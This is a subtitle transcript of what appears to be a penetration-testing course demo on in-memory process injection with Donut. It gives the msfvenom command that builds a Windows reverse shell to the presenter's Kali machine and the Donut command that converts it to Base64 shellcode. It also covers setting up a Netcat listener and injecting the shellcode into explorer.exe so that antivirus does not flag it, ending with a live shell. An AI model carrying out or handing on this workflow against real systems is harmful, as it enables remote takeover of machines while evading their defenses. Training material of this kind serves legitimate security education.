WEBVTT

00:00:01.040 --> 00:00:01.900
In this demo,

00:00:01.900 --> 00:00:06.250
we're going to use Donut to inject malicious code into a running process.

00:00:06.250 --> 00:00:11.550
We'll generate the necessary shellcode using Donut from our payload executable.

00:00:12.140 --> 00:00:15.980
Then we'll transfer it to our target and use the built‑in DonutTest

00:00:15.990 --> 00:00:18.860
to inject the code into a process on our target.

00:00:19.540 --> 00:00:22.360
Using these features allows you to execute malicious code

00:00:22.360 --> 00:00:25.750
in memory by exploiting vulnerabilities in the native API

00:00:25.940 --> 00:00:27.660
and evade defenses on the host.

00:00:28.640 --> 00:00:32.460
Let's head over to the lab and get started by generating our payload.

00:00:32.460 --> 00:00:34.190
For this demo,

00:00:34.190 --> 00:00:37.520
we'll use Venom to generate a simple executable that sets up a

00:00:37.520 --> 00:00:39.660
reverse shell back to our Kali Linux machine.

00:00:40.540 --> 00:00:43.320
I have another course on MSFVenom's capabilities if you're

00:00:43.330 --> 00:00:46.290
interested in understanding what all these options do.

00:00:46.290 --> 00:00:47.310
For now,

00:00:47.310 --> 00:00:49.920
you can just enter this command to generate a simple

00:00:49.920 --> 00:00:52.250
payload as a standalone executable,

00:00:52.250 --> 00:01:01.480
msfvenom ‑p windows/x64/shell_reverse_tcp LHOST=,

00:01:01.480 --> 00:01:04.709
followed by the IP address of your Kali Linux machine,

00:01:04.709 --> 00:01:13.560
LPORT=4444 ‑f exe ‑o payload.exe.

00:01:14.540 --> 00:01:17.850
Once that is generated, we can copy it to the same payloads

00:01:17.850 --> 00:01:19.550
directory where our server is running.

00:01:20.540 --> 00:01:24.550
Now we will use Donut to generate shellcode from the payload. For

00:01:24.550 --> 00:01:27.160
this payload, we'll use 64‑bit architecture,

00:01:27.840 --> 00:01:33.470
the default bypass level, and set our output to Base64. To

00:01:33.470 --> 00:01:41.660
accomplish this, we run donut ‑a 2 ‑b 3 ‑f 2 and set our file to

00:01:41.660 --> 00:01:44.050
the payload we generated in the previous step.

00:01:45.840 --> 00:01:48.530
This will generate a file using the default name loader

00:01:48.530 --> 00:01:51.450
followed by our format extension for Base64.

00:01:52.140 --> 00:01:58.260
Now we need to copy that file to our payload directory and rename it venom.b64.

00:02:00.340 --> 00:02:03.380
Now one last step on our Kali machine. We need to set up our Netcat

00:02:03.380 --> 00:02:07.450
listener to listen for the incoming connection on port 4444.

00:02:09.139 --> 00:02:12.370
All right, now we're ready to move our file to our target and inject

00:02:12.370 --> 00:02:15.050
using DonutTest, which we moved over in the last demo.

00:02:15.740 --> 00:02:16.960
Let's head over to the target.

00:02:18.340 --> 00:02:20.560
We can see our staged files in our web browser.

00:02:21.240 --> 00:02:23.360
Just to test, let's try to download the payload.exe

00:02:23.360 --> 00:02:25.950
file first and see what happens.

00:02:27.040 --> 00:02:30.660
Our payload.exe file is tagged immediately as suspicious.

00:02:32.040 --> 00:02:33.750
Let's try our shellcode instead.

00:02:35.640 --> 00:02:39.150
Great! Now we can open this file and copy our code.

00:02:40.340 --> 00:02:43.170
We can use Visual Studio Code to open the DonutTest

00:02:43.170 --> 00:02:44.860
program and add our shellcode.

00:02:47.340 --> 00:02:51.360
All we have to do is paste our shellcode into this x64 string.

00:02:59.040 --> 00:03:01.780
We'll want to use this same application later, so let's go

00:03:01.780 --> 00:03:04.350
ahead and save this as a different file.

00:03:04.740 --> 00:03:13.060
I'll call it test. Now we're ready to compile it.

00:03:13.940 --> 00:03:18.760
We can use the same process using csc.exe we used in the last demo.

00:03:22.840 --> 00:03:26.930
Explorer should still have the same process ID of 3092.

00:03:27.110 --> 00:03:32.780
We can use ProcMgr and search by name for explorer using ‑‑name explorer,

00:03:32.780 --> 00:03:36.560
and we see it's still running with the same ID, 3092.

00:03:37.240 --> 00:03:40.460
So, let's go ahead and execute our new program.

00:03:41.740 --> 00:03:44.950
We get the same output indicating a successful injection.

00:03:45.440 --> 00:03:47.690
Let's check in on our Kali machine and see if we have a

00:03:47.690 --> 00:03:50.580
shell. And we have our connection.

00:03:50.720 --> 00:03:53.840
We successfully used Donut to create the shellcode and

00:03:53.850 --> 00:03:56.160
used DonutTest to inject our payload.

00:03:56.940 --> 00:03:59.760
This allowed us to execute our payload.exe file

00:03:59.770 --> 00:04:01.650
without it being flagged by antivirus.